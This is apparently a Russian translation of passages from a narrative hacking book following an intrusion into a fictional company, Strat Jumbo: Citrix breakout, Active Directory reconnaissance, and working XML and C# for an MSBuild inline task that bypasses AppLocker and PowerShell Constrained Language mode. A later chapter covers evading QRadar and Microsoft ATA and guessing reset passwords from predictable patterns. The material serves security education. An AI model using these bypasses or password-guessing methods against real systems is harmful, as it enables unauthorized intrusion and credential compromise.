В то время как естественный RDP (Remote Desktop Protocol) Microsoft часто настраивается при подключении к серверу на предоставление пользователям полного графического интерфейса, Citrix ограничивает подобное подключение единственным приложением. Если хотите, представляйте себе это как искажённую, ограниченную форму RDP. Рисунок 5.4 представляет собой упрощённую схему типичной архитектуры Citrix, помогающую вам представить себе эту платформу.

Крайняя слева машина представляет собой наш собственный компьютер. Сервер NetScaler действует как балансировщик нагрузки и обратный прокси- сервер для распределения подключений пользователей к нескольким системам StoreFront , предоставляющим доступ этому пользователю к своим приложениям через интерфейс пользователя, аналогичный тому, который мы наблюдали на Рисунке 5.3. Администраторы настраивают StoreFront для объявления и определения того какие именно приложения должны публиковаться, кто может получать к ним доступ, какой тип проверки подлинности осуществлять, а также прочие разрешения и ограничения. Тем не менее, работающие через Citrix приложения не выполняются в StoreFront, а они извлекаются из своего рода инкапсулированного RDP с удалённых серверов Windows, носящих название XenApps.

Рисунок 5.5

Вывод ошибки при попытке доступа к командной строке Citrix

Естественно, это было бы слишком просто. Судя по всему, Strat Jumbo слегка приподнял планку. Основываясь на тексте сообщения об ошибке, мы способны сделать предположение, что нас заблокировал AppLocker, собственное решение Microsoft для ограничения приложений. AppLocker позволяет администраторам блокировать исполняемые файлы, которые предполагаются опасными. Диспетчер задач представляет очевидную потенциальную опасность, поскольку способен создавать процессы. Мы попробуем найти способ обхода этого.

Вернёмся обратно в своё окно Firefox и нажмём CTRL-O, на этот раз для запуска диалога Open File, а также попытаемся осуществить оттуда доступ к устройству C:, как это показано на Рисунке 5.6. Мы не можем получить доступ к основному устройству C: или к его копии через \\127.0.0.1\C$.

Рисунок 5.6

Вывод ошибки при попытке доступа к устройству C: Citrix

И снова, на базе полученного сообщения об ошибке, мы можем отважиться предсказать что администраторы обязаны обладать применяемыми некой Групповой политикой настройками для ограничения доступа как к самому устройству, так и к его сетевому совместному ресурсу.

[Замечание]
Замечание

GPO (Group Policy Objects, Объекты Групповой политики) это наборы правил и настроек, применяемых на уровне домена AD к какому- то подмножеству пользователей и рабочих станций. Эти правила в Windows могут покрывать широкий массив элементов конфигурации, такие как сложность пароля, время увольнения или, в данном случае, доступ к устройству C:.

Забавно, однако мы способны обойти это глупое ограничение, просматривая соответствующую файловую систему непосредственно через адресную полосу Firefox file:///c:/, как это видно на Рисунке 5.7... Эх, Windows! Зачастую правила, подобные блокировке доступа к диску C: основаны на жёстких предположениях о таких вещах, как имя родительского процесса или выполняющего действие вызова API. Изучая глубокие траншей данной системы мы способны воссоздать тот же нужный нам результат, применяя неожиданные инструменты, которые разрушают подобные предположения (к примеру, применяя веб браузер для изучения локальной файловой системы).

Рисунок 5.7

Просмотр файловой системы Citrix через адресную планку Firefox

Мы знаем что диалоги Open File и Save As это субъекты тех же самых описанных ранее ограничений настроек GPO, а поэтому мы не можем выполнять запись в файл или заменять их, но мы способны обладать простым доступом на считывание. Это позволяет нам просматривать соответствующий жёсткий диск на предмет низко висящих фруктов, таких как персональные папки, пароли в открытом тексте, оставленные без присмотра файла настроек во временных папках и тому подобного. Какое- то время мы просматриваем, но, к несчастью для нас, ничего полезного не бросается в глаза.

Продолжая спорить с AppLocker и ограничительными настройками GPO, мы попытаемся запустить несколько программ из адресной строки диалогового окна Open File, как это можно видеть на Рисунке 5.8. Мы испробуем несколько обычных подозреваемых, что позволит нам избежать ограничительного характера просмотра веб- страниц чтобы более свободно исследовать эту систему и прочие машины в данной сетевой среде: cmd.exe, explorer.exe, notepad.exe, WMIC, комплект Office, CScript, JScript, rundll32, mshta и так далее. Если вы не знакомы с этими естественными инструментами Windows отсылаем вас к ссылке UltimateApplockerByPassList в разделе Ресурсы в конце этой главы.

Рисунок 5.8

Попытка породить программы из адресной планки диалога File Citrix

И все они заблокированы, за исключением нашего старого доброго товарища PowerShell.exe, как это отражено на Рисунке 5.9.

Рисунок 5.9

Успех! Мы получили доступ к PowerShell в Citrix

Что может быть проще? Когда мы в PowerShell запрашиваем имя хоста, мы получаем имя сервера Strat-CI-01.

Подключающиеся к опубликованному в сервере XenApp приложению пользователи сопоставляются с реальным пользователем Windows, а домашняя из сетевой папки назначается совместно используемой всеми пользователями Citrix. Эта домашняя папка обычно сопоставляется с некой буквой локального диска, отсюда и X:\ в приглашении на ввод с Рисунка 5.9. Сеанс PowerShell сам по себе не ограничивает доступ к диску C: больше чем это делает его сеанс Firefox. Можно даже вообще задаться вопросом зачем они вообще реализовали в первую очередь такую настройку GPO.

Рекогносцировка сервера

В этом сервере Strat-CI-01 мы испытаем несколько несложных команд для разведывания обстановки для получения краткого обзора среды, к которой мы подключены. Прежде всего для получения сетевых настроек мы запускаем ipconfig, а вслед за ней systeminfo для сбора основных сведений о системе:

   PS X:\> ipconfig
   Windows IP Configuration
      Connection-specific DNS Suffix    : stratjumbo.lan
  ⁽¹⁾ IPv4 Address. . . . . . . . . . . : 10.78.1.83
      Subnet Mask . . . . . . . . . . . : 255.255.255.0

   PS X:\> systeminfo
   Host Name:        STRAT-CI-01
   OS Name:          Microsoft Windows Server 2019 Datacenter
⁽²⁾ OS Version:      10.0.17763 N/A Build 17763
⁽³⁾ Domain:          stratjumbo.lan
   Hotfix(s):        22 Hotfix(s) Installed
                     [01]: KB3186568
                     [02]: KB3192137
                     --snip--
                 ⁽⁴⁾ [56]: KB5011503

Здесь мы можем наблюдать, что мы имеем дело с самой последней версией (по состоянию на март 2022) Windows Server 2019 с номером сборки 17763⁽²⁾. Этот сервер расположен в сетевой среде 10.78.1.83/24⁽¹⁾, причём вероятно изолированной от прочих критически важных ресурсов, таких как внутренние базы данных и репозитории кода. Корпоративный домен AD обладает названием Italicstratjumbo.lan⁽³⁾.

Эта система была только что снабжена исправлениями; это снабжено событием с номером KB KB5011503⁽⁴⁾, что, как показывает быстрый поиск в Google, сообщает нам, что они были активированы 8 марта 2022 года. Мы можем забыть о недавно выпущенных эксплойтах повышения полномочий.

Затем мы перечислим всех имеющихся в данной машине пользователей с правами локального администратора:

PS X:\> net localgroup "administrators"

Members
-------------------------------------------------------
Administrator
STRATJUMBO\citrix_srv
STRATJUMBO\Domain Admins

Учётная запись домена Citrix_srv обладает в этой машине правами администратора. Его имя предполагает, что он также может содержать те же самые полномочия в прочих серверах XenApp в нашей ферме Citrix. Это была бы ценная учётная запись, которую стоило бы взять в свои руки, что стоит взять на заметку.

Далее проверим свой домен Windows stratjumbo.lan. Я уже упоминал ранее, что администраторы домена это богоподобные учётные записи, на которые не распространяются правила простых смертных. Давайте, воспользовавшись своей следующей командой, проверим кто в Strat Jumbo является администратором домена:

PS X:\> net group "domain admins" /domain

Members
-------------------------------------------------------
admin.beny            admin.ho             admin.stanley
admin.edward          admin.flavien        admin.bill
admin.mehdi           admin.penny          admin.nastya
admin.jed             admin.chan           admin.ken
admin.shwartz         admin.klauss         admin.silberto
--snip--

Домен Windows Strat Jumbo выглядит как управляемый 30 учётными записями с высокими полномочиями. Мы пробегаемся по этому небольшому перечню на предмет совпадений с полученными нами в результате фишинга именами пользователей, но на этот раз удача не нашей стороне: совпадений нет. Тем не менее, нам надлежит следить за этими учётными записями на тот случай, если мы когда- нибудь наткнёмся на одну из них.

Автоматизируем свою рекогносцировку

Выполнение разведки при помощи инструментов Windows может быстро разочаровывать. От администраторов доменов можно получить гораздо больше сведений, чем просто названия их учётных записей, а это всё что нам удалось узнать при помощи наших наивных сетевых команд. Мы желаем знать время последнего подключения этих администраторов, их последнюю ротацию паролей, членство в группах и тому подобное.

LDAP (Lightweight Directory Access Protocol, Протокол облегчённого доступа к каталогам) это распространённый способ взаимодействия с базой данных Active Directory. Мы можем воспользоваться запросами к LDAP для получения свойств пользователей, объектов групповой политики и прочих хранящихся в AD объектов. Однако более простой альтернативой является сбор сведений при помощи таких инструментов как PowerView, которые автоматизируют все эти малоприятные плоские вызовы Контроллера домена и сжимают получаемые результаты в представительный вывод, более удобный для наших глаз.

PowerView изначально разрабатывался @harmj0y и @sixdub как набор наступательных инструментов PowerShell, которые позднее трансформировались в инфраструктуру Empire, обёртывающую запросы LDAP в более удобные для применения API, сосредоточенные на разведке в домене. Его первоначальную версию вы можете найти в GitHub PowerShellMafia.

У вас может возникнуть соблазн выгрузить этот сценарий в папку на исследуемом сервере Citrix и сохранить его там, но это напустит внутреннего зверя всякого известного антивируса на эту бледноголубую точку. К счастью, PowerShell предоставляет изящный способ более тонкой загрузки сценариев в память во избежание большинства антивирусных проверок.

Прежде всего мы построим объект браузера при помощи такой команды:

PS X:\> $browser = New-Object System.Net.Webclient;
New-Object : Cannot create type. Only core types are supported in this language mode.
At line:1 char:12
+ $browser = New-Object System.Net.Webclient;
+            ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo          : PermissionDenied: (:) [New-Object], PSNotSupportedExcept
+ FullyQualifiedErrorID : CannotCreateTypeConstrainedLanguage,Micrososft.Powershell

Постойте, обычно так не бывает. Ой. Ну как же, это, мягко говоря, разочаровывает. Возможно, администраторы Citrix небрежно упустили из виду PowerShell, но правила сценариев AppLocker позаботились о том, чтобы урезать большинство его возможностей. Microsoft называет это режимом Ограничений языка (Constrained Language).

PS X:\> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage

Режим Ограничений языка лимитирует PowerShell нормированным подмножеством одобренных и безопасных свойств. Команда New-Object несомненно не относится к подобным безопасным функциональным возможностям, поскольку она определяет объекты .NET или COM, которые расширяют богатство PowerShell для взаимодействия с внутренними компонентами Windows - как следствие, предыдущая ошибка.

Component Object Model (COM, модель компонентных объектов) это разработанный Microsoft стандарт для управления взаимодействием между процессами. Такая программа как Internet Explorer способна зарегистрировать некий объект COM, который определяет подобные FetchURL, DownloadFile, BrowseToPage и тому подобные методы. Затем некий сценарий Visual Basic способен конкретизировать такой объект COM и вызвать его методы для какой- либо необходимой цели. То же самое верно и для сценария Python, который понимает COM, сценария PowerShell, программы C++ и так далее. Внутреннее устройство COM несколько сложнее того, что следует из данного пояснения, но основная суть в том, что цель COM именно и заключается в наличии унифицированного способа вызова удалённых процедур, публикуемых прочими программами. Вы можете догадаться почему создание COM- объектов запрещено в режиме с Ограничениями языка PowerShell, ибо они делают возможным взаимодействие с внутренними компонентами Windows, а в конечном итоге, избегать ограничений.

.NET во многом следует стандарту COM и подменяет COM в предоставлении полной инфраструктуры для разработки, сборки и запуска приложений в Windows. В точности как и с объектами CON, сы можем применять типы и классы .NET для активации произвольных API Windows для считывания файлов, создания процессов, отправки сетевых пакетов и многого иного. Все допускающий такой низкоуровневый доступ свойства .NET, таким образом, блокируются режимом с Ограничениями языка PowerShell, включая интенсивно применяемую команду add-type, которая способна определять новые классы из естественного кода C#.

Тем самым, большинство наступательных сценариев PowerShell рынка, которые обязательно полагаются на такие функциональные возможности, превращаются в почти бесполезные по причине режима с Ограничениями языка, настроек безопасности, представленных в механизме исполнения PowerShell версии 5 (он же Windows Management Framework версии 5, или WMF 5).

Самый простой способ обхода данного ограничения среды состоял бы в вызове устанавливаемого по умолчанию интерпретатора PowerShell V2, который не реализует никаких новых свойств безопасности V5:

PS X:\> powershell -version 2 -command {$browser = New-Object...}

Version 2.9.50727 of the .NET Framework is not installed and it is required to run version 2 of Windows PowerShell

Опять не повезло, V2 PowerShell, а следовательно и .NET Framework, не установлены в данном сервере.

Вместо того чтобы пытаться загружать сценарии в память, мы могли бы вернуться к более традиционному подходу сброса DLL и исполняемых файлов на диск - но это тоже не так просто. Развёрнутая в этом сервере политика AppLocker допускает исполнение только из обладающих доверием местоположений. Вызвав командлет Get-AppLockerPolicy, мы можем получить перечень таких местоположений, с последующим изучением коллекций правил соответствующего объекта:

PS X:\> import-module applocker
PS X:\> $a = Get-AppLockerPolicy -effective
PS X:\> $a.rulecollections

PathConditions      : ⁽¹⁾ {%WINDIR%\*}
PathExceptions      : {}
PublisherExceptions : {}
HashExceptions      : {}
Name                : (Default Rule) Microsoft Windows DLLs
Description         : Allows members of the Everyone group to load DLLs...
UserOrGroupSid      : S-1-1-0
Action              : Allow
--snip--

Правила AppLocker допускают исполнение лишь из каталогов пути, таких как {%WINDIR%}⁽¹⁾, что эквивалентно C:\Windows и прочим системным папкам, в которых полномочиями на запись обладают лишь администраторы.

Кажется, нам следует расчехлять крупную артиллерию чтобы избежать смертельного сочетания AppLocker и ограничений среды PowerShell.

Персональная обложка PowerShell

PowerShell.exe, как и большинство сложных исполняемых файлов, это просто обёртка вокруг DLL, которая экспортирует все методы и API, которые в действительности и осуществляют необходимую работу. Все доступные в PowerShell функциональные возможности ядра, к примеру, определены в файле System.Management.Automation.dll и экспортируются им.

В то время как PowerShell.exe принуждается к режиму с Ограничениями языка при активации AppLocker, System.Management.Automation.dll продолжает оперировать в режиме Полного языка, наплевав на правила AppLocker. Таким образом, мы имеем возможность собрать свою собственную обёртку, которая вызывает и инициирует System.Management.Automation.dll и, быть может, предоставит нам ещё раз счастье всей мощи команд PowerShell.

Благодаря AppLocker для исполнения допустимы лишь файлы из определённых папок (в данном случае C:\Windows и C:\Programs), а у нас нет полномочий на запись в эти папки. Данная обложка, тем самым, не может быть неким внешним исполняемым файлом (.exe или .dll), который собирается обособленно и затем сбрасывается в среду Citrix. Вместо этого нам надлежит собрать его внутри самой среду Citrix. Поскольку всё столь жёстко заблокировано, нам следует учитывать что допускается в данной машине. Ответ - доверенные исполняемые файлы; то есть программы и утилиты, присутствующие в любой среде Windows, которыми можно манипулировать многими неожиданными способами.

Встречайте Кейса Смита (@subtee), исследователя безопасности, чьи многочисленные советы и приёмы по злоупотреблению доверенными исполняемыми файлами Windows превратили его в кого- то вроде богоподобной фигуры и надёжного авторитета в сообществе безопасности. Имя Кейси является почти синонимом обхода решений по контролю над приложениями. Он продемонстрировал всевозможные приёмы манипуляции такими исполняемыми файлами от столь простых трюков как загрузка файлов при помощи certutil.exe, инструмента для отображения сертификатов, вплоть до более сложных методов, таких как исполнение шеллкода и вредоносных программ с применением Regsvr32, естественного инструмента Windows, который регистрирует объекты COM для того, чтобы их методы имели возможность вызова из прочих программ. Если вас это заинтересовало, проверьте соответствующие ссылки в разделе Ресурсы данной главы.

Одной из подобных мощных уловок, которым мы способны воспользоваться в своём затруднительном случае, вовлекает MSBuild, платформу ядра, которая компилирует и запускает приложения .NET MSBuild - это подписанный Microsoft исполняемый файл, расположенный во вложенной папке доверенного каталога (C:\Windows), точное расположение которого зависит от версии .NET Framework нашей целевой системы. Для версии 4, к примеру, это C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe. Если вы не обнаружите его там, проверьте иные вложенные каталоги в папке Microsoft.NET, и вы обязательно его отыщите.

Предполагая что данный исполняемый файл располагается в данной папке C:\Windows, AppLocker позволяет ему запускаться под устанавливаемыми по умолчанию правилами. А поскольку MSBuild безмерно полезный инструмент, на постоянной основе применяемый разработчиками для своих возможностей написания сценариев, мало вероятно что администраторы заблокируют его по всем своим серверам - в особенности Strat Jumbo, в той фирме, разработчики которой полагаются на такие инструменты. И в самом деле, когда мы вводим упомянутый выше путь MSBuild, мы видим, что способны свободно запускать эту утилиту из диалогового окна Open File, как это отображено на Рисунке 5.10, хотя он и быстро пропадёт, ибо завершается ошибкой, когда ему не предоставлен надлежащий файл на входе.

Рисунок 5.10

Мы способны исполнять MSBuild.exe в своей системе Citrix

Теперь, когда нам известно что мы имеем возможность запуска MSBuild, нам потребуется собрать нечто для исполнения им. MSBuild исполняет проекты, написанные в XML, которые объявляют необходимые задачи и этапы, за которыми производится компиляция исполняемого файла: какие файлы скопировать, какой исходный код вложить, какие DLL скомпоновать и так далее. Наш проект будет содержать собственно код нашей обёртки PowerShell для компиляции. В случае успеха, MSBuild автоматически загрузит и запустит этот исполняемый файл, при этом обходя правила AppLocker.

Обычно мы воздерживались от сбрасывания файлов на диск, дабы свести к минимуму своего отпечатка и во избежание обнаружения каким- либо назойливым антивирусным решением, но похоже, на этот раз у нас и в самом деле нет выбора. Однако, с другой стороны, это не должно стать большой проблемой, поскольку мы вручную создадим свою полезную нагрузку во избежание очевидных вредоносных строк кода, которые были бы немедленно обнаружены.

Собираем проект MSBuild

В одном из своих серверов хакинга мы начинаем писать пустой файл проекта MSBuild с безобидным названием readme.txt, следуя руководству из документации Visual Studio 2017 "Creating an MSBuild Project File from Scratch". Этот проект пишется на XML и мы пользуемся той же самой версией MSBuild, которую нашли в своей целевой системе:

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/MSBuild/2003">

</Project>

Как правило, проект MSBuild включает в свой состав некий узел Target, который выступает корневым элементом, собирающим все последующие подлежащие исполнению задачи. Задача может быть некоторой встроенной операцией типа MakeDir для создания каталогов или Copy для копирования файлов, либо некой персональной, которую мы определяем с нуля при помощи индивидуального кода. Поскольку мы пристреливаем свой проект MSBuild на способность к чему- то более сложному - компиляции и запуску кода на лету - нам требуется создать свою собственную задачу, определив новый элемент XML.

Здесь мы добавляем некую персональную задачу и добавляем её к узлу Target своего проекта MSBuild:

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/MSBuild/2003">

<Target Name="PSBYPASS">
  <PsCommand/>
</Target>

</Project>

PsCommand это название индивидуальной задачи, компиляцию которой мы бы хотели от MSBuild с последующим запуском в нашей среде Citrix. Мы предоставляем это название в элементе UsingTask, который регистрирует данную задачу:

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/MSBuild/2003">

<Target Name="PSBYPASS">
  <PsCommand/>
</Target>
<UsingTask
    TaskName="PsCommand"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
</UsingTask>

</Project>

Определение значения атрибута TaskName для UsingTask должно соответствовать названию в его узле Target. Определение атрибута TaskFactory указывает на значение реализующего эти методы и свойства класса, необходимые для компиляции нашего кода потока. Мы бы хотели чтобы наша задача скомпилировала код C# (который вскорости будет написан), а потому мы загружаем из соответствующего файла DLL Microsoft.Build.Tasks.v4.0.dll необходимый класс с названием CodeTaskFactory (что также носит название компоновки).

Далее внутри элемента UsingTask мы определяем некую потоковую Task, который предоставляет тот код, который исполняется в процессе сборки и он - сюрприз- сюрприз - содержится в дочернем элементе Code:

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/MSBuild/2003">

<Target Name="PSBYPASS">
  <PsCommand/>
</Target>
<UsingTask
    TaskName="PsCommand"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <Task>
      <Reference Include="System.Management.Automation" />
      <Code Type="Class" Language="cs">
        <![CDATA[
            // Впишите сюда код C#! ¹
        ]]>
      </Code>
    </Task>
</UsingTask>

</Project>

Как постулировалось ранее, чтобы иметь возможность вызова команд PowerShell, нам необходимо загрузить DLL System.Management.Automation, поэтому мы включаем эту DLL в свой элемент Reference. Строка с комментарием указывает то место, в которое мы добавим свой код C# для вызова классов и функций .NET с целью загрузки среды PowerShell¹.

PowerShell без ограничений

Мы начинаем с определения общедоступного класса с названием PsCommand. MSBuild требует чтобы все задачи для него наследовали интерфейсы ITask и Task распознаваемые его механизмом. Эти классы соответственно определяются в DLL Microsoft.Build.Framework и Microsoft.Build.Utilities, а потому убедитесь что вы их также импортировали. Также мы импортируем класс System.Management.Automation.PowerShell и даём ему псевдоним PowerShell для лучшей читаемости:

// Импорт всех необходимых DLL
using System;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
using PowerShell = System.Management.Automation.PowerShell;

// Реализующий необходимые интерфейсы Task и ITask общедоступный главный класс
public class PsCommand : Task, ITask
{

}

Внутри класса PsCommand мы перекрываем функцию Execute интерфейса по умолчанию ITask, и это именно то место, в котором MSBuild запускает наш поток (thread) исполнения с нашим собственным кодом C#. Я отсёк повторяющийся код и выделил все новые строки жирным шрифтом:

--snip--
public class PsCommand : Task, ITask
{

  // Перекрываем метод Execute. Сам поток (thread) исполнения начинается здесь
  public override bool Execute() {
    // Вывод приветствия
    Console.WriteLine("Executing PS commands");

    Console.WriteLine("Press any key to exit...");
    Console.ReadKey();

    // Конец нашего метода Execute
    return true;
  }
}

Мы стартуем с простого вывода на печать строки предвестницы "Executing PS commands" при помощи метода WriteLine, за которым следует вызов ReadKey для приостановки на паузу нашей программы чтобы убедиться что всё в норме.

Теперь приступаем к своему главному блюду - той части, в которой мы инициируем конвейер PowerShell, активно доставляем в этот конвейер команды и обходим в цикле получаемые в результате строки:

--snip--
public class PsCommand : Task, ITask
{

  public override bool Execute() {

    Console.WriteLine("Executing PS commands");

    // Создание конвейера PowerShell: command1 | command2 | ...
    PowerShell Ps_instance = PowerShell.Create();

    // Изменение команд в нашем конвейере
    string script="$ExecutionContext.SessionState.LanguageMode"
    Ps_instance.AddScript(script);

    // Активация нашего конвейера и выборка строк вывода
    foreach (string str in Ps_instance.Invoke<string>()){
      Console.WriteLine(str);
    }

    Console.WriteLine("Press any key to exit...");
    Console.ReadKey();
    return true;

  } // Конец метода Execute
} // Конец класса PsCommand

Напомним, что мы применили MSBuild для компиляции и выполнения написанного на XML проекта, содержащего код C#, который загружает интерпретатор PowerShell для исполнения любой команды, которую мы пожелаем.

Вы всё ещё со мной? Отлично. Я поместил окончательный код в GitHub, просто для того варианта, если вам потребуется выгрузить его и поэкспериментировать с ним. Вы обнаружите данный сценарий в моём файле psh.xml в папке msbuild. Это наилучший способ чтобы усвоить обсуждённые нами понятия.

В своей лабораторной системе мы скомпилировали и исполнили свой файл проекта MSBuild readme.txt при помощи:

C:\Windows\Microsoft.Net\Framework64\v4.0.30319\MSBuild.exe readme.txt

Microsoft (R) Build Engine version 4.7.2053.0
[Microsoft .NET Framework, version 4.0.30319.42000]
Copyright (C) Microsoft Corporation. All rights reserved.

Build started 3/5/2022 7:59:01 PM.
Executing PS commands
FullLanguage
Press any key to exit...

Наш код, таким образом, исполняется в режиме Полного языка, как и ожидалось. Всё идёт как надо; он готов к отправке в сервер XenApp Strat Jumbo. Мы загружаем свой проект в одну из наших машин С2 и выгружаем его в свою домашнюю папку (X:) применяя старый добрый Firefox.

Теперь в среде Citrix из Firefox, воспользовавшись CTRL-O, мы открываем диалоговое окно Open File и запускаем ту же самую команду, как это видно на Рисунке 5.11.

Рисунок 5.11

Запуск нашей команды из диалога Open File в Firefox

Потрясающе! Мы добились исполнения команд PowerShell в режиме Полного языка и одновременно обошли AppLocker. Речь идёт о двойной победе!

Воспользовавшись тем же самым подробно описанным в проекте readme.txt MSBuild скелете мы можем следующим образом соединить в цепочку простые команды:

Ps_instance.AddCommand("get-process");
Ps_instance.AddCommand("out-string");
Ps_instance.AddStatement();
Ps_instance.AddScript("net user");
Ps_instance.AddStatement();
Ps_instance.AddScript("ls c: | out-string");

Мы пользуемся своей функцией AddCommand для одиночных естественных командлетов PowerShell (get-process, start-service и тому подобных), а также мы запускаем AddScript для исполнения блоков сценариев и внешний исполняемых файлов, либо соединения в цепочку множества командлетов. AddStatement() эквивалентен разделителю ;.

Ресурсы

Посвящённая обходу ограничений Citrix в блоге NetSPI, озаглавленная "Breaking Out! of Applications Deployed via Terminal Services, Citrix, and Kiosks" (Вырываемся из развёртываемых через терминальные службы, Citrix и киоски приложений)

Широко известные методы обхода AppLocker

Документация по режиму с Ограничениями языка

Исключительный курс по внутреннему устройству COM Пауля Йосифовича, озаглавленного .NET Interoperability Fundamentals (Основы способности к взаимодействию .NET, необходима учётная запись Pluralsight)

Применение certutil.exe для выгрузки файлов

Исполнение шеллкода и вредоносного ПО при помощи Regsvr32 в сценарии Backdoor.sct в моём репозитории GitHub

Часть III: Назад на сцену

Смерть улыбается нам всем. Всё что мы можем сделать, это улыбнуться в ответ

Марк Аврелий (Гладиатор)

Глава 8. Сквозь огонь и пламя

Содержание

Глава 8. Сквозь огонь и пламя

Рулетка паролей

Изобретение стратегии

Кастрируем блок сценария регистрации

Сила самоконтроля

Обходим совпадение строк

Ресурсы

Наши последние попытки взлома потерпели неудачу, но мы ещё не вернулись к исходной точке. Теперь у нас имеется гораздо лучшее понимание безопасности Strat Jumbo, а это очень ценно. Чем больше нам известно о тщательно расставленных ловушках, тем лучше мы подготовлены к тому, чтобы избегать их, так что теперь мы посмотрим какие дополнительные сведения мы можем найти об QRadar и Microsoft ATA, наших основных противниках.

Мы никогда не сможем целиком имитировать всю активность системы Strat Jumbo и мы можем лишь догадываться о том, какие именно подозрительные действия отслеживать был настроен QRadar. Наша стратегия борьбы с этим хищником в чёрном ящике, скорее всего, будет состоять в том, чтобы уморить его голодом; то есть лишая его журналов, на которые он полагается для обнаружения подозрительных шаблонов.

Мы будем уделять пристальное внимание всякому выполняемому в системах Strat Jumbo действию, воспроизводим эти действия в своей лаборатории, анализируем создаваемые такими действиями журналы и пытаемся угадать как можно применять эти журналы для обнаружения такого же поведения. Затем мы сможем находить приёмы запутать журналы и даже их полного удаления. Позднее в этой главе мы рассмотрим такие уловки.

Microsoft ATA, с другой стороны, очень чётко определяет на каике цепочки атак Active Directory он нацелен. Кроме того, мы имеем возможность получения бесплатной пробной версии, которую мы установим в своей лаборатории, даьы хотя бы протестировать её и посмотреть на что она способна. Действительно ли он выявляет все методы передачи хэша? Должны ли мы забыть о попытках передачи билета и выгрузки файла базы данных пользователей AD, NTDS.DIT? Или же существуют слабые места, которыми мы можем воспользоваться чтобы укрыться от установленных радаров?

Нам надлежит постоянно быть в курсе поведенческих моделей как QRadar, так и Microsoft ATA; ибо мы не можем на практике угадывать что присутствует в в их обучающих наборах данных, любая разрабатываемая нами полезная нагрузка для атаки будет обладать предельно допустимой ошибкой - шанс быть обнаруженным настроенным модулем анализа поведения. Мы будем осторожны с этой допустимостью когда дело доходит до выполняемых нами на лету наблюдений, когда мы пребываем внутри атакуемой сетевой среды: какие именно учётные записи обычно применяют администраторы? Сколько одновременных сеансов в каждой из машин? И так далее.

Мы создадим среду лаборатории, состоящую из нескольких серверов Windows, управляемых Active Directory с установленным ATA, и опробуем в этой среде команды прежде чем исполнять их в сетевой среде Strat Jumbo. Я буду переключаться между своей лабораторной средой и системами Strat Jumbo. Дабы вам было проще следить за этим процессом, все исполняемые в тестовой лаборатории команды будут выполняться из папки C:\Lab, а все снимки экрана данной среду будут помечаться "тестовая лаборатория".

Очевидно, что вся эта работа окажется напрасной если мы не сможем отыскать новый путь внутри сетевой среды Strat Jumbo, поэтому давайте сначала поищем его, прежде чем ломать себе голову с ATA и QRadar. Давайте вспомним где мы пребываем. В настоящее время у нас имеется:

Тридцать пять устаревших паролей

Сведения о различных внутренних компонентах AD, политики аудита, группах пользователях и тому подобного Windows

Тщательный предварительный просмотр возможностей мониторинга Strat Jumbo

наша самая первая идея может состоять в том, чтобы запустить новую фишинговую компанию для оставшейся целевой партии, может быть, изменив содержимое своего электронного письма, чтобы не информировать команду безопасности. Но сегодня мы ощущаем себя слегка авантюрно, а потому мы попробуем срезать путь, который вполне способен вернуть нас туда, где мы и остановились.

Рулетка паролей

Если мы внимательно изучим собранные нами 35 паролей, начинают проявляться некоторые интригующие закономерности:

Десять паролей заканчиваются номером из одной цифры: AkRiV€ra8, Molly_Dorian5€ra8, Ghettome*fair3 и так далее.

Шесть паролей завершаются номером с двумя цифрами: 5YadorChan09, GabrielSanta89, LeilaClapton10 и так далее.

Два пароля в конце имеют специальный символ с последующей буквой: BrotherArms_C, WishYouHere*A.

Два пароля содержат название текущего месяца: Jumbo12March_, MarchStrat%.

Совпадение? Верится с трудом. Как правило, компании к своим паролям предъявляют требования, такие как принудительная смена пароля в течение 90 дней, минимальная длина и применение трёх классов символов. Человеческий разум естественным образом сопротивляется этой форме ментального подавления. Это простая физика: на каждое действие есть равное и противоположное противодействие. Человеческая память конечна. Существует лишь столько паролей, сколько можно запомнить. Таким образом, чтобы справиться с вызванным этим маленьким всплывающим окном, мелькающим в углу и указывающим, что "пришло время снова сменить этот пароль" умственным напряжением, люди склонны придумывать предсказуемые мнемонические правила, такие как увеличение числа в конце или в начале, итерация по алфавиту, включая название текущего месяца и тому подобные.

Эта процедура по иронии судьбы нарушает менее известное, но очень важное правило пароля: секретность пересылки. Данный пароль не должен намекать на прочие применяемые тем же пользователем пароли. В рекомендациях Национального института стандартов и технологий (NIST) об этом говорится довольно чётко, однако основные регулирующие органы и системы аудита по-прежнему значительно отстают. Если только Strat Jumbo явно не сообщила о своих подозрениях по поводу взлома сотрудникам и не подчеркнула важность данного сброса пароля, существует большая вероятность того, что некоторые пользователи просто перешли к следующему паролю в своём списке. Учитывая их вялую реакцию — отсутствие блокировки IP- адреса или проверки фишинговой страницы — маловероятно, что команда безопасности провела надлежащую судебно- медицинскую экспертизу. Скорее всего, они увидели пару предупреждений на ATA и QRadar — достаточно, чтобы заподозрить, что происходит что-то странное, — и в качестве превентивной меры решили сбросить все пароли. Так что да, нам понадобится немного удачи, чтобы найти правильные комбинации паролей, но, поскольку у нас уже есть запас паролей, шансы определённо складываются в нашу пользу.

Мы выбираем пять пользователей с очевидными шаблонами их паролей и вручную проверим потенциальную комбинацию для паролей каждому пользователю, например, LeilaClapton11, потом LeilaClapton12. Нет никакой спешки. Мы не хотим запускать какие бы то ни было правила обнаружения, например, слишком много неудачных попыток или попытка применения нескольких учётных записей с одного и того же IP адреса за короткий промежуток времени, дабы не заблокировать учётную запись. Всё что нам требуется для проверки своей гипотезы, это один тщательно рассчитанный пароль каждый день для каждой учётной записи.

Достаточно скоро мы выполняем удачный удар, как это показано на Рисунке 8.1: первоначальным паролем Рона был AkRiV€ra8, а мы получили золото с AkRiV€ra9.

Рисунок 8.1

Успешная догадка

То, что кто- то может назвать случайностью или удачным жребием, я называю обоснованным предположением. Мы обязаны были найти хотя бы пару учётных записей, которые придерживались одного и того же шаблона. Люди часто образуют особую связь со своими паролями.

